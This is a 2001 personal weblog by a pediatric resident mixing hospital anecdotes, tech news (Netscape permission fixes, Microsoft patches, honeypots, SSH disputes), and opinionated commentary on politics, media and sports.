And another surprise — Network Solutions is untrustworthy and contemptible. They trick people into discount renewals and then claim that they’re ineligible, charging them more; they trick customers of other registrars into renewing with them; worst of all, they do all of it with a database of names and addresses that they shouldn’t be allowed to use. I think that it’s time for me to move my domains to another registrar.

This morning, I worked in the Child Advocacy Center in the hospital. Kids who are the suspected or proven victims of abuse are assigned to followup in the CAC; the attendings there are the people who are called by the ER at all hours of the night when a kid comes in who has suffered through unspeakable trauma. One of the kids I talked to was referred in after his school noticed a bruise on his face and he said that it was from his mother hitting him. The worst part of it was that mom told me that she hits him — and that she’s a New York police officer. She seems to think that it’s part of acceptable discipline to “pop” her son. I swear, sometimes I think people should need licenses to have children.

The past 24 hours of outage here have been courtesy of my ISP and telco, who don’t seem to be all that frazzled when one of their T1 lines goes down. The only reason I’m back up is that one of the techs at my telco decided to come and see if he could get a parallel circuit up and running; the original T1 is still down. Bleah.

I cannot tell you how much I hate that RealNetworks is involved in so many big deals with content providers to be the exclusive distribution method for their music. RealPlayer is such a piece of garbage, from the insidious installer that spams the hell out of your computer’s bookmarks, menus and startup groups to the app itself which stays in resident memory even after you quit it (“to make things faster,” as I was once told by a support rep). If the company truly is able to make their app the exclusive mechanism for me to obtain content online, then I’m quickly going to migrate back to my CDs and stereo.

Remember back when Toysmart.com went bankrupt, and a huge uproar developed over their attempt to sell their customer data? Well, the same thing is apparently happening over at eToys, but for some reason, this time nobody’s complaining. Why?

Stepmother Forces Boy To Stitch Up Mouth. I can’t really say anything that that headline doesn’t already say.

Is it just me, or does it appear that Damien has recently been defamed and/or slandered by someone who has appropriated his identity? (April 3, 2001 entry, damn that lack of permanent links…)

Following a trend from the weekend, Matthew Schwartz has an article about honeypots, this time specifically those honeypots put up on corporate networks to detract hacker’s attention away from systems that really matter. A cool-sounding product mentioned in the article is ManTrap, a real Sun system with multiple security mechanisms to keep hackers interested and well-logged; seems like it would be fun to play with.

The Microsoft DHTML Dude has a great column this week on Internet Explorer 6.0 and standards. (I created a new VMware Windows 2000 installation this week, and installed the IE6 beta into it; I’ll report more after I play with it a bit. Update: It appears that the Manila HTML tag editing tool doesn’t show up in IE6. Bummer.)

One in four major banks are now implementing ATM card rental fees — annual surcharges that customers pay for the ability to use an ATM card to withdraw money. I was always under the impression that banks pushed ATMs because they were a way to phase out live tellers who earned salaries; now, it’s clear that they also see them as limitless buckets of income.

A Cal State-Fullerton student was told to either quit her job as a stripper or turn in her track team uniform; she didn’t find it that tough a decision to make. You can catch her at the Flamingo Theater, where she’s making the money that puts her through school.

The Economist has a good article on computer forensics (the science of dissecting computer crime), mentioning the HoneyNet project. HoneyNet is a network of computers that are designed to be broken into, so that the hacks and cracks can be analyzed and patched — what a cool idea.

Alas, the answer to my question yesterday (about the Microsoft update revoking the two bogus VeriSign certificates) was in their FAQ. The third certificate included in the revocation list is a genuine one that Microsoft revoked in order to test their update. (If you go to that page, you have to expand the FAQ section to read this answer.)

Did you know that you can’t get within 50 feet of the courts at NCAA tournament events if you’re holding a drinking cup that doesn’t bear the NCAA logo? What mindless twit came up with this rule?

Made some tweaks to the design here today; most of them will go unnoticed by everyone, as they only involved virtually-invisible spacing issues that probably only annoyed the hell out of me. But if I fixed something that annoyed you, too, then I’m glad. (Update: now, one of the tweaks will go noticed by Netscape 4.X-and-older users; I finally implemented a dumbed-down stylesheet for you guys, since I got tired of Netscape’s inability to display most CSS properly.)

I think it suffices to say that Roger Ebert did not like Tomcats.

Damn. I think that the last time that I went a week without updating was when I went to Alaska… and that was a vacation. This time, it was work, pure and simple. I’ve been so tired when I roll in that I spend no more than an hour or two awake; if I’m on call, I come home the next day, eat, and fall asleep until the next morning (usually around 14 hours of sleep). One more call until the end of this block, though, and then it’s on to a much easier rotation.

Lost in Translation is an excellent service. The first paragraph of my last post is translated thusly:

Odierno the day is day of the agreement. The spaces of the United States, doctors of the participants of the category of the code of the 4, anniversaries had been given you exceed them, those to the name of a program of the mechanism contained and to row on the rock their destiny during lucks of the years. Some were elated and scared others, but, beginning in the solved months, cross everything in the hospitals the country like the new doctors of whom the category. Congratulations with all of them.

There are two good Microsoft security patches out this week. The first is an Internet Explorer update that fixes a malicious code-running bug related to MIME headers. The second update warns users if they try to execute code signed by the two bogus VeriSign-issued digital certificates purporting to be from Microsoft. (I love how VeriSign attempts to downplay how completely their fault those two certificates are, by the way.)

(Interesting thing I noticed: the certificate revocation list that’s part of that second Microsoft update has three certificates in it. The first two are obvious — the two forged Microsoft ones. What’s the third, though? It has a serial number of 77E6 5A43 5993 5D5F 7A75 801A CDAD C222, with a revocation date of August 30, 2000. I’ve tried using VeriSign’s search page to no avail. If anyone can figure out how to find out who it belongs to, lemme know… I’m interested now!)

I caught part of an episode of Sesame Street in a patient’s room this week, and noticed that there was a hurricane theme running through it. Apparently, this was a big thing — the writers started this week with a hurricane destroying Big Bird’s nest and then weaved a highly-educational week out of the topic. Justine Henning, a teacher and writer for Slate, liked what she saw, and from the ten or so minutes that I caught with my patient, so did I.

Interesting new tool released by Userland… and even more interesting that there’s no corresponding tool that allows you to restore a Manila site from the XML files.

In the wake of all the recent school shootings (another one today!), a California school asked its students to come forward if any of their peers make threats against people. Kristina Tapia did just that — and got sued for slander and defamation of character. Her family has spent over $40,000 defending her, and the school district is claiming that it doesn’t owe her one bit of help. Pathetic.

The 2000-2001 influenza season appears to be over, and the CDC is reporting that it was a very mild one. As part of its surveilance, the CDC also subtyped all of the flu strains isolated from cultures, and it appears that the clear majority were represented in this year’s vaccine. This is a pretty big indication that, if you got vaccinated this year, you did yourself a lot of good.

Wired has a good story on Rock, the satellite that was launched by Sea Launch two weeks ago. Once its counterpart, Roll, is in orbit, subscribers will be able to tune into over 100 channels of digital satellite radio. I wonder if this will catch on; nobody’s ever subscribed to their radio before (well, except for public radio), and I’m not so sure people are ready to start.

Today is Match Day. In auditoriums across the United States, fourth-year medical students were handed envelopes which contained the name of a residency program, setting in stone their destiny for the next few years. Some were elated, and others horrified, but starting in a few months, they’ll all walk into hospitals across the country as the newest class of doctors. Congratulations to every one of them.

And in other medicine-related news, the Supreme Court ruled that emergency rooms cannot test pregnant women for drug use without their explicit consent. The crux of this case was that the South Carolina hospital did the testing with the explicit intent of turning any evidence over to the police; I’d agree that it is difficult to justify an invasion of privacy this large.

My work in the hospital has been all about consent lately. I have a patient, a victim of some of the most disturbing abuse I’ve seen, and every time I need to do any procedures on the child, I still have to try to obtain consent from the mother. What is shocking is that the mother has confessed to most of the abuse, and yet not only does she still retain the right to consent for the child, she also is no longer in jail. Welcome to the U.S., where children who imitate TV wrestling moves get life sentences but mothers who break seven of their child’s ribs and bite them repeatedly get out of jail in three weeks.

It appears that the original webcam, the University of Cambridge computer lab coffee cam, has finally bid farewell to the net. The Register had a story warning of this recently; it appears that the lab is moving to a new building, and the coffee cam wasn’t slated to travel along.

Salon has a reasonably good (if slightly overdramatized) account of what it’s like to be in an ER when you find out that a big trauma’s on its way in. The author, a trauma doc in Virginia, does a good job of capturing the frenetic pace, as well as the fact that everything’s a balance between what would be best to do and what you have time to do.

The XFL continues to put up wretched ratings numbers. Last Saturday’s game got a 1.6, which is not only the worst rating for any prime-time network sports broadcast, it’s thought to be the worst rating for any prime-time show, ever. Despite the sorry performance, NBC is sticking by its league… for now.

This could be, quite honestly, the worst security vulnerability alert I’ve ever read. Read it carefully, and try to envision a scenario in which anyone could succeed in exploiting the so-called vulnerability. My favorite is the fact that it would require the user to ignore a huge warning saying that they are about to do something dumb; the author of the alert dismisses this bluntly by saying that people just don’t read warning messages. These are the people securing the computer systems of the world?

Apparently, the maker of a log analysis tool decided that all the whois lookups done by the tool should be run through SamSpade (one of the best web-based DNS tools out there). The big problems with this were that (a) they didn’t ask if they could do this, and (b) the traffic brought SamSpade down a few times. It seems that all’s been fixed now.

Does anyone remember how the lander for the Mars Pathfinder mission kept spontaneously rebooting, losing data and cutting off transmissions? Well, engineers finally figured out what the flaw was, and it turns out to have been a common programming problem called priority inversion. Fascinating.

I have such pathetic gadget envy… anyone out there who wants to send me a Palm m505 can feel damn free to do so, quickly.

Forget Ebonics — the future is in Bushonics. “‘We shouldn’t be cutting down the pie smaller,’ Shaw says with quiet dignity. ‘We ought to make the pie higher.’”

Solar Designer (why the hell does this person use a pseudonym?) has published a passive analysis of Secure Shell traffic. I haven’t yet digested the whole thing, but it appears that there are a slew of small vulnerabilities, none of which are huge, but which together could cause problems. Patches are all included.

Who knew that smearing yourself with herbs for two weeks doesn’t make you bulletproof?

It’s time to feel so, so sorry for all of our Congresspeople — they get too much email, and seem to feel overburdened by the need to respond to the people who voted them into office. (Granted, there are a lot of messages from people who aren’t constituents of a particular Congressperson, but still, it’s their job to respond to the people in their districts, and whatever they need to do to make that happen, it’s their responsibility to do so.)

TiVo had a prime time debut on 60 Minutes last night, and its stock shot up 26% as a result. People really are kneejerk investors; that being said, TiVo really is an amazing product.

Fucking Netscape sucks.

First, a resource: Netscape and Windows 2000. Good.

Now, my list of things to modify. First, files and directories:

  • C:\WINNT\NSREG.DAT (change the permissions to full control for everyone).
  • c:\Program Files\Netscape\Users (ditto)

Now, a list of registry keys — on all, you need to change the permissions to full control for the User group.

  • HKLM\Software\Netscape\Netscape Navigator\
  • HKCR\Netscape.Help.1\
  • HKCR\Netscape.Network.1\
  • HKCR\Netscape.Registry.1\
  • HKCR\Netscape.TalkNav.1\
  • HKCR\NetscapeMarkup\
  • HKCR\aimfile\
  • HKCR\CLSID\{481ED670-9D30-11ce-8F9B-0800091AC64E}\
  • HKCR\CLSID\{E328732C-9DC9-11CF-92D0-004695E27A10}\
  • HKCR\CLSID\{E67D6A10-4438-11CE-8CE4-0020AF18F905}\
  • HKCR\CLSID\{60403D81-872B-11CF-ACC8-0080C82BE3B6}\
  • HKCR\CLSID\{EF5F7050-385A-11CE-8193-0020AF18F905}\
  • HKCR\CLSID\{61D8DE20-CA9A-11CE-9EA5-0080C82BE3B6}\

Fucking Netscape.

The Sea Launch platform succeeds again, in launching a digital audio satellite for XM Satellite Radio. I would love to go out on the command ship for a launch sometime.

The Linux wristwatch is getting more and more interesting, although I’m not sure I’m ready to have someone start hacking into my frickin’ timepiece.

It’s funny — my first reaction to the news that some people are trying to get Jedi acknowledged as an official religion was that it was ridiculous. But then I remembered that the Church of Scientology is based on a science fiction book… which, of course, verified that it’s a ridiculous idea.

And on the Scientology subject, I love how Slashdot is justifying the deletion of some Scientology-related post. Those involved are saying that they had to delete it, as it violated copyright — a reason that they specifically fought when they refused to delete a post which contained copyrighted Microsoft code. What a bunch of asses.

Genius: a look at what the future of this Presidency could turn into if Dick Cheney continues to have health problems. “President Bush today threatened ‘to unplug Dick from the respirator’ if House Democrats don’t go along with his plan to privatize Social Security and Medicare.”

Just finished watching the Penn State/UNC game… wow. UNC didn’t end their year very well; Sundays have been particularly hard for them.

It’s so sad when knowledge bases have to cater to the lowest common denominator.

God damn Netscape (again). Today, I spent two-plus hours trying to figure out why a common User (not a Power User, or an Administrator, but a User) can’t run Netscape 4.7X under Windows 2000. Turns out that there are a slew of security changes you have to make, since Netscape doesn’t know how to do multiuser. I want that time back.

I can’t even begin to understand the British Airways policy of not seating men next to unaccompanied minors. They say that they are “trying to balance the needs of the child with the needs of the adult” — huh? Someone needs to explain this one to me.

atlantis from below

I’m such a sucker for a cool space picture. I think I’ve found my next desktop image…

Act quickly if you’re willing to pay for a phone call of a guy acting like Abraham Lincoln making monkey noises. No, seriously.

My friend Tim has made another funny. (It’s a PDF, so if you don’t do PDFs, don’t click it.)

Dunno if it’s true, but one computer news source is reporting that Apple has disbanded the team responsible for the G4 Cube, and that the company had to buy back nearly $3.5 million in inventory from CompUSA.

Once again, Dubya demonstrates a complete lack of understanding of the policies of the United States. Honestly, I don’t know why his staff lets him talk; he truly is an idiot. (My favorite parts of this article are the notion of an English-to-Bush and Bush-to-English dictionary and the quote from the White House official that “the President is always correct.”)

Yeah, I know that most people think it’s because his brother was a judge on many of the appeals decisions, but I like to think that Justice Breyer recused himself from the upcoming medical marijuana case because he likes to smoke the doobage himself. (Actually, he’s the only one on the Court that I could see kicking back with a bong.)

Wow — a whole article on the religious following that’s developed behind Shiner Bock. (I miss Shiner so much in New York; I have yet to find a reliable source for it.)

The bitching and moaning surrounding Google’s takeover of the Deja Usenet archives has hit the popular press. Whine, whine, whine…

If you have any knowledge about regulations which define the various parameters of the jobs of President, Vice President, and member of the Cabinet — work hours, vacation time, sick leave, and whatnot — please email the Explainer, as he’s stumped.

I never see popups. And I don’t worry about being tracked by advertisers with cookies or in any other way.

That’s because I have a product installed on my system which filters HTML and is set by default to prevent popups from happening (the “Geocities” syndrome) and it is very much a relief. I can override that on a per-site basis if I want.

I also have the ability to control cookies on a per-site basis. Moreover, I’ve actually created firewall rules which block groups of IPs belonging to the major advertisers. I don’t trust their promises to not track me, not at all. But if they never ever receive any communications from me while I browse, because all such are intercepted by my firewall, then I can be sure that they’re not tracking me

Today, while surfing around, an incredibly deceptive window popped up onto my screen, spawned by an ad-supported website. I wonder how many people have been tricked into clicking on it, and installing that stupid app.

For those who tenaciously track the latest religious figure image sightings, Jesus is currently holding forth from a blood-stained Band-Aid. Catch him soon; he’s probably booked to appear on a refrigerator door in Scranton soon.

Did you know that the latest click-wrap license for ViruScan says that you can’t publish a review of the software without prior written approval of Network Associates? Since I don’t own the software and haven’t clicked on the license, I can say without fear that this sucks ass, and I don’t know if I’d ever install software under these rules. (Update: it appears that I have installed software under these rules — Microsoft SQL server, all of Oracle’s software, and even Netscape’s web browser. Hell, there’s even a license of a Linux distribution that bans minors. All of this is such a joke.)

I’m such a rebel to be linking to this.

After admitting a five-month-old child to the hospital Thursday night who had not yet received a single vaccination, I feel a duty to provide everyone with a few good links about the importance of vaccinating your kids.

Ahhh, it’s so nice to see that media manipulation in the name of politics is alive and well in America. (Don’t get me wrong — I’m not indicting any particular party with this one, since I’m sure that the attempts to deceive the media cross lines of every type in Washington.)

Something handy as all hell that’s been floating around the web is a list of the opt-out pages maintained by all the web advertisers. Most appear to do what they claim to (set that advertiser’s cookie to a value which they can’t track).

Once again… what an ass. I was getting ready to wax euphoric about something that he’s doing, but… nevermind. Then I started playing with his new tool, realized that he still is willing to let people use it to steal content from other people’s weblogs and use it on their own sites with only the smallest and most cryptic invisible credit, and stopped using it. (Of course, I only stopped after creating a weblog demonstrating my problem with it.)

As you can probably tell, I’ve started back up on an all-hours rotation in the hospital. I’ll try to keep up, but judging by my performance the other times I’ve been on the inpatient wards, I don’t know how well I’ll do.

Oh, by the way, I can tell all of you that there’s not a chance in hell that any doctor would perform a cardiac catheterization if there weren’t an urgent need. The White House is spinning this one big time. (Update: Salon has the president-elect of the American College of Cardiology saying the same thing, and in addition, pointing out the strategic wording that the White House has used to not have to admit that Cheney had another heart attack.)

Finally, AdCritic has the Nike ad, heavy in rotation right now, with all the NBA players dribbling and squeaking their shoes. I love this ad.

Controversy is brewing in Japan because a woman, the first female governor in the country, wants to present an award in a sumo wrestling ring. The traditions surrounding sumo prevent women from entering the ring, because it is ostensibly a sacred place in which the “unpure” (a group in which all women are included, apparently) are prohibited. Nice to see that the U.S. doesn’t have a solo grasp on ignorance and intolerance.

Gawd, was this the storm that wasn’t. Yesterday, the hospital cancelled many clinics and services in anticipation of the worst of it; today, despite it being much worse out than yesterday, everything was open — probably because it still isn’t that bad out.

Napster gets smacked down by Judge Marilyn Hall Patel. Particularly damaging to the service is Patel’s response to the objection that it would be difficult for Napster’s people to ferret out all the attempts to circumvent the banning of copyrighted material — she acknowledged the problem, but noted that “this difficulty, however, does not relieve Napster of its duty.” (The entire five-page ruling is here.)

I still have yet to figure out this parody fan site run by Slate. Why does it exist? I’m confused. It’s not their only one, either, but none of them make any damn sense. (Update: Dan pointed out that all these sites are part of Slate’s Blorple Falls, West Carolina site — but it still makes no sense.)

Cool — it’s my corner. I wonder how much they paid the poor people who had to go and take all these 360-degree panoramas, and how long it took them. (Thanks to Heather for the site.)

Dammit, I just found out that TiVo has released version 2.0.1 of its operating system, but I haven’t received it yet. They claim that, due to its size, the upgrade is being rolled out slowly; everyone will have it “sometime in March or April.” I want it now!

The Washington Post technical section has a decent article on the successful efforts to hack TiVo and ReplayTV boxes. I couldn’t be happier with my 110-hour TiVo — I rarely watch live TV anymore.

I don’t know about you guys, but I sure as hell want a three-dimensional printer.

Salon now has their recap for this week’s Survivor II episode, the one where Mike fell into a fire, burned the crap out of his hands and face, and had to be evacuated out of the camp by medics; it’s funny that the only episode I’ve watched is the medical one. (Also, thanks to Dan for explaining what the anesthetic inhaler was that the medics gave Mike — we don’t have anything like that here in the U.S., so I had no clue what it was.)

For the scary statistic of the day, the number of heart attacks in people aged 15 to 34 rose 10% during the 1990s. Cardiologists blame increasing rates of obesity, smoking, and cocaine use.

I wanna go to SXSW in Austin. I really, really wanna go. Can someone cover the hospital for me?

george washington bridge east tower

Today’s GlobeXplorer image: the east tower of the George Washington Bridge, the one that stands on Manhattan soil, a mere half mile from where I work. (And speaking of the Gee-Dub, I think I’ve found my newest favorite picture.)

My friend Phil has been playing with GlobeXplorer, and apparently, he lives just on the edge of a huge broccoli patch.

If anyone gets a speeding ticket in northern Virginia, one of the ones issued because a cop in a plane clocked you as driving over the speed limit, drop Mike a line — he’d love to beat it.

I had no idea that the Richter scale isn’t used anymore in measuring earthquakes. Now, seismologists use the moment magnitude scale, but since that’s such a mouthful, news organizations say that earthquakes are “magnitude X,” such as yesterday’s magnitude 6.8 in Seattle.

For those who haven’t seen home videos of the Seattle quake on the news, here’s a video from inside a computer room at Microsoft (thanks to Z). Damn, it looks like a violent quake.

Oops — a man and his two kids (six and eight years old) were left hanging when workers shut off a ski lift in Austria. The dad realized that the situation didn’t look good, and jumped 18 feet down to go find help for his kids; they got free ski passes for next season as apologies.

I’m so happy — my home city is the latest to tell the Boy Scouts where they can put their anti-gay policy. Well, they will tell them; the New York City Boy Scouts council has four months to try to convince the national organization to drop its discriminatory policies, or else all government support of the Scouts ends here.

my apartment building

What’s that to the right? My apartment building, as seen in the database of GPS images at GlobeXplorer. (I’m slightly suspicious, though, since the picture shows a clot of taxis at the corner outside my building, yet there is never one there when I want one.) The scariest thing, though, is that there are higher-resolution versions of these photos; I wonder if that’s me lying up on the roof…

Wow. An FBI agent who was accused of killing two men while driving drunk got the court’s OK to recreate the “metabolic experience” he had the night of the incident — he drank two 60-ounce pitchers and a pint of beer, two Diet Cokes, 10 chicken wings, a hamburger, a baked potato, and some fried jalapeno poppers, and had a doctor and nurse measuring blood alcohol levels throughout the whole thing.

Thanks, Zannah, for passing on the link to Lost in Translation.

Congrats Steve and Lyn! Not knowing that the two of you were even involved, it’s sheer coincidence that the links to y’all’s weblogs are even near each other in my bookmark list; maybe sharing a line would be more appropriate. Or maybe I should wait for the wedding…

It’s official — Mattel can’t stop any of us from posing Barbie dolls in pornographic positions and taking pictures of them for art’s sake.

Last night, I stumbled upon Joe Conason’s review of the pardons that Dubya’s dad granted at the end of his Presidency, and realized just how myopic and narrowminded the press can be when it wants to. I also realized how obvious it now is that the general press doesn’t have a liberal bias, a conservative bias, or any bias other than that which makes it sensationalize for the sake of capturing eyeballs.

Luckily for all of us, Dahlia Lithwick was present and accounted for in the D.C. Court of Appeals over the past two days, while U.S. vs. Microsoft was being argued. Her dispatch from yesterday stresses the many ironies (both real and imagined) in the appeal; today’s dispatch gives a great recap of the Appeals Court’s raw disgust of Judge Jackson’s behavior in the case.

Neato — someone’s released a Windows 2000 driver for the CueCat barcode reader. It sits on top of your keyboard’s stack and captures scans made by the device, and instead of sending the data to Digital Convergence, it just acts like you typed in the barcode. Useful.

Thanks to Mike, I’ve got a new toy. Fun fun fun.

McSweeney’s is funnier every time I read it. I went to college with one of the authors, and I’ve got to say, he’s still the funniest person I’ve ever met. His series “History’s Notable Persons Reconsidered” is not to be missed.

I still love that people are getting all pissy about Google’s takeover of the Usenet archive once hosted by Deja.com. I also love that these people are now saying things like that the Usenet archives “are too important to be entrusted to a single commercial concern” — as if Deja.com wasn’t such a commercial concern. (Of note, there are people who are noting the beneficial effects of the takeover, such as faster search returns.)

The Standard takes a look at Judge Thomas Penfield Jackson’s behavior in the Microsoft trial, and wonders if it may be a crucial nail in the coffin of the government’s case against the company. Regardless of your views on Microsoft and its actions, is there anyone out there who can say with a straight face that Jackson acted without bias? Hell, he’s already admitted that he stuffed as much into the findings of fact in an effort to get as much past the Appeals Court as he could.

Tonight, 75,000 children will fall asleep as citizens of foreign lands; tomorrow morning, they’ll wake up as citizens of the United States. What a great piece of legislation, helping parents overcome years’ worth of bureaucratic hurdles and nightmares and get on with raising their children.

News.com wonders if it’s too little, too late for SSH Communications in its current attempts to enforce its trademark on the term “SSH”.

I honestly wonder if Dave understands what a publishing workflow is like, and what it’s real purpose is. Am I wrong in reading this piece as an accusation that “workflow” means “purposely withholding information from the public that it needs and deserves”? If so, he really is buried deep within a reality distortion field. (I particularly like Rick Winfield’s take on it — “it’s not that we don’t have a feature, it’s that we’re making a political statement!”)

Dubya finally held a press conference… and didn’t look so great. In a fairly representative example, a reporter asked the President about European plans for a rapid-response military force, and Bush babbled a completely nonsensical response. The reporter followed up, trying to get an answer, but instead, got more babble. “An informal poll of White House reporters indicated that 100 percent were confident Bush had absolutely no idea what the BBC reporter was talking about.” Priceless; this man is our President.

I want this.

Today was the busiest day I’ve had yet in internship, which is weird, since I’m spending this month at what is supposed to be a sleepy outlying community hospital. Nope, though, not today. I started the morning with nine patients on service, and then a dozen blood draws, three IV lines, two urine catheterizations, two head scans, and one spinal tap later, ended with nineteen. And I left with the full knowledge that I could have less patients when I get back in the morning, but only because a few of them are easily sick enough to be transferred to the pediatric ICU at my academic center overnight.

With that, I bid you all goodnight.

No, really, Anil, you should try to stop holding in your feelings. Pulling punches isn’t your style.

Just so everyone’s clear: “It’s important to have a home.”

It’s funny — I set up a new Linux box recently, and immediately, I started seeing people hitting it with this exploit attempt. According to the people running the honeypots, the estimated lifespan of a standard RedHat 6.2 installation that’s connected to the net is two to three weeks; doesn’t surprise me at all.

What a strange and weird (yet wonderful) picture of Kirk Douglass. I wonder what he was doing when they snapped the shot…

I’m sorry, but I find it very hard to believe that Napster will have a spare one billion dollars to hand out to the major recording labels over the next five years. This seems, to me, to be like when I wrote my friend a check for ten million dollars — cocky bravado, but nothin’ to back it up.

I’m so happy — MetaBaby’s back! (I love that Greg’s officially dubbed this one “version 2 II”.)

Anyone who falls for this Ponzi scheme deserves to lose their money. It never ceases to amaze me how blind some people can be to scams; likewise, it never ceases to amaze me how the same scam can be dressed up in so many ways, and fool people every time. (And, while surfing around for more information on this, I discovered that Brian Livingston not only did a column this week on this, but managed to get some background information that sheds light on why the scam hasn’t been shut down — like the fact that it’s based out of St. Kitts.)

Brad, you’re a genius. An evil genius, yes, but a genius nonetheless.

Damn, I knew the Chicago Bulls haven’t been so great since Michael Jordan retired, but I didn’t realize that they completely suck. They’re currently 8 and 43 — eight wins, in fifty-one games. They’re twenty-three games out of first place in the Central Divison. They’ve won less games in the last three years (38) than they lost in the previous three years (43). They’re just plain terrible.

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ISSN 1533-810X

Back in November, I requested an ISSN number for Q Daily News; last week, I finally got the acknowledgment that one had been assigned. I’m not sure that this means much, but if nothing else, the site’s now a registered serial publication. (It also means that I join the ranks of Pith & Vinegar, NUblog, Prolific, and Will Pate, to name a few.)

The Washington Post seems to be coming around to the belief that Dubya doesn’t exactly have the most solid of grasps on issues or policy. He appears to be adhering to talking points in his speeches, and when questioned further, doesn’t have the ability to elaborate; much of the time, his elaborations are just plain wrong.

Come on, join the latest craze and play Mingo Hangman. (I can’t even begin to pronounce this language.)

The Astronomy Picture of the Day site has had a string of hits this weekend. On Saturday, there was a beautiful, floodlit picture of Apollo 9 sitting on the launchpad awaiting takeoff. Sunday brought an animated lunation cycle, showing how the Moon actually wobbles a bit on its orbit. Today’s shot is of an incredible shadow cast by the launch plume of the latest Shuttle mission, seemingly beamed straight from the Moon. Awesome.

Oh, this is choice. Apparently, there’s an insurance policy out there that you can get for your handheld. Don’t think about collecting on the money, though, if your PalmPilot is destroyed while being used as a weapon of war, or as part of a rebellion, insurrection, revolution, or civil war — damage as a result of those things are specifically excluded from the policy. Glad they cleared that up.






ISSN 1533-810X

ISSN 1533-810X

Sometimes, it surprises me how nice it can be having an adult conversation with someone who you don’t really know, and only just met.

Hmmmm — a study in this week’s British Medical Journal says that kids with snotty noses have a lower incidence of asthma. The basis is thought to be repeated immune system exposures; it’s another chink in the armor of the modern movement to use tons of antibacterial products around your kids. (New Scientist has a good, short review of the study, with quotes from researchers in the field.)

I had no idea that there aren’t any five-star generals left in the U.S. military. Not that it affects me at all; I just had no idea.

Bill Clinton has what is, in my opinion, a very well-written op-ed piece in today’s New York Times explaining his pardon of Marc Rich. It’s the first piece I’ve read anywhere that puts context to the whole situation, and I’ve got to say, it’s not all that the press has made it out to be.

OK, how cool is it that the sun can just up and flip its magnetic field?

I’ve got to say that I really like Kiehl’s concept of deja vu — the notion that having a feeling like you’ve done something before means that you’re exactly where you should be with your life is very empowering, and a good way to get me to smile.

On Doc Searls’ website, he published an anonymous letter from someone upset with Google’s takeover of the DejaNews Usenet archive; the person writes that Google has “trampled the rights of thousands (millions?) of content contributors who innocently felt safe in not archiving their own contributions, believing that their content would remain publicly available without interruption.” (Emphasis added by me.) Does this person actually believe his or her rhetoric? Was the rest of the world unaware that there, apparently, existed a right to have a free service archive all of the porn, multi-level marketing schemes, and (yes) legitimate advice and problem-solving posts, and pay their employees to do so? Give me a break. Yes, a lot of people are mildly inconvenienced with this transition, but come on — Deja doesn’t seem to have that much life left in it, and all this information could have been lost. People should be thanking Google for coming to the rescue.

(Update: Glenn Fleishman noticed the sour grapes, too, and devoted a lot more column space to exerpts from unbalanced news coverage and analysis of the greater meaning of this.)

Given the fact that yesterday’s XFL ratings dropped another 25%, to a 3.8, it looks like the league isn’t going to be around for very long.

The Boy Scouts lose another supporter due to the group’s policy of banning homosexuals from its ranks.

Wow — you can contact the International Space Station via ham radio! Not ever having used a ham radio, I don’t understand most of what this page is taking about, but I’d love to figure it out.

The Brooklyn Museum is at the epicenter of a New York controversy again, with Mayor Giuliani pissed off because it is displaying a piece depicting Jesus at the Last Supper as a naked woman. Again, I ask: how many people would see this if Mayor Nimrod didn’t start foaming at the mouth? He’s such an ass.

Remember the series of Tintin kids’ books? If you come across one with Tintin in a Thai gay bar, don’t be shocked.

Another hand transplant has taken place in the U.S. — Jerry Fisher, a gutter installer, endured the 13-hour operation and will soon begin physical therapy. Cool.

On Wednesday, I noted that a trademark controversy started brewing over SSH (secure shell); the makers of OpenSSH (the group being taken to court) have put up a web page containing all the related correspondence to date.

Valentine’s Day is such a Hallmark holiday. (Of course, it’s also a cupids-flying-around-on-MetaFilter holiday.)

Dubya wants the investigation of the Marc Rich pardon to end, but it doesn’t seem to be doing that. It may just be my partisan way of thinking, but it seems to me that if the exact opposite situation were to have occurred eight years ago, and Clinton were to have come out asking for it to end, it would have. To me, this is just more proof of how little control Dubya has of his own party.

Tatu Ylonen (yes, that’s a real name) sent a cease-and-desist letter to the makers of OpenSSH today, demanding that they stop using the term “SSH” in their product. Interesting.

NBC just had their Valentine’s Day contest winner asking his girlfriend to marry him, and broadcast her reaction live. She said yes, but I can’t quite understand why — her boyfriend asked her to marry him live, on national TV, and allowed NBC cameras to be at their dinner table to record and broadcast her reply. I’ve always thought that they guys who propose via sports stadium JumboTron are asses; the NBC thing took that to a whole new level.

I tried to read the lecture given to the American Enterprise Institute for Public Policy Research by Clarence Thomas yesterday, but I couldn’t get through the pompous bullshit. He’s obliquely saying that he votes the way he does — nay, he voted the way he did in the election-related cases — because he didn’t want to take the easy way out and be wrong. Someone get the manure shovel; it’s getting deep in there.

I’ve now spent three days trying to compile a specific combination of Apache, PHP, Net-SNMP, and various and sundry image-producing tools on my Linux box, and the whole experience underscores how friggin’ difficult it is to install custom software on any Unix system. All I wanted was to install a cool tool that would let me watch my bandwidth use; it doesn’t look like it will happen in this lifetime.

Couldn’t resist pointing to the latest Dinkism:

One reason I like to highlight reading is, reading is the beginnings of the ability to be a good student. And if you can’t read, it’s going to be hard to realize dreams, it’s going to be hard to go to college. So when your teachers say, read—you ought to listen to her.

I know this will shock most people, but ratings for the XFL games broadcast over this weekend were quite a dropoff from week 1. Perhaps it’s because people watched week 1, and saw what a terrible brand of football the XFL is.

Hey Jason: upgrade your TiVo, and the TiVo bomb is much less likely to hit your set. Hell, I was on call on New Year’s Eve, came back the next day to a whole Sex in the City marathon, and yet didn’t lose a byte of the stuff I had intentionally recorded.

Today’s find: a person who’s definitely well-represented by her weblog name.

Even ESPN is in on the Anna Kournikova email virus story. My favorite part of the article, though, is the photo caption: “The photogenic Anna Kournikova of Russia has yet to win a WTA tournament.”

Of course this site has a little bit of load pounding on it. Perhaps it’s because it’s the website of the satellite that NASA just managed to land on an asteroid. How cool is that shit?

I’m pretty excited about Canon’s newest film scanner. I’ve used prior CanoScan products, both film and flatbed, and love them; I can’t imagine that the FS4000US will be any different.

I’m confused — how is this frog sitting on its keeper’s bare thumb? It’s a poison dart frog, and its skin produces one of the deadliest toxins known to mankind. I don’t know if you could pay me enough to let one of these critters crawl on my skin.

Upgrading a Linux kernel is such a pain in the ass.

Why have I never tried to type in www.freecell.org? Seems that there are quite a few others out there who suffer from my addiction. I’m happy to find NetCell, which will let me keep my stats across multiple machines. Aren’t I pathetic?

Interesting: ReactOS, a project with the goal of producing an operating system which is compatible with Windows NT, on the application and driver level. I wonder if they’ll ever succeed — and if compatibility with Windows NT is even worth aiming for now that Windows 2000 has a pretty solid installed base.

Columbia Law professor Michael Dorf examines the contradiction between Bush’s ban on federal funding of organizations which perform abortions and his proposal for federally funding religious organizations which perform charity work. I really like his logic here.

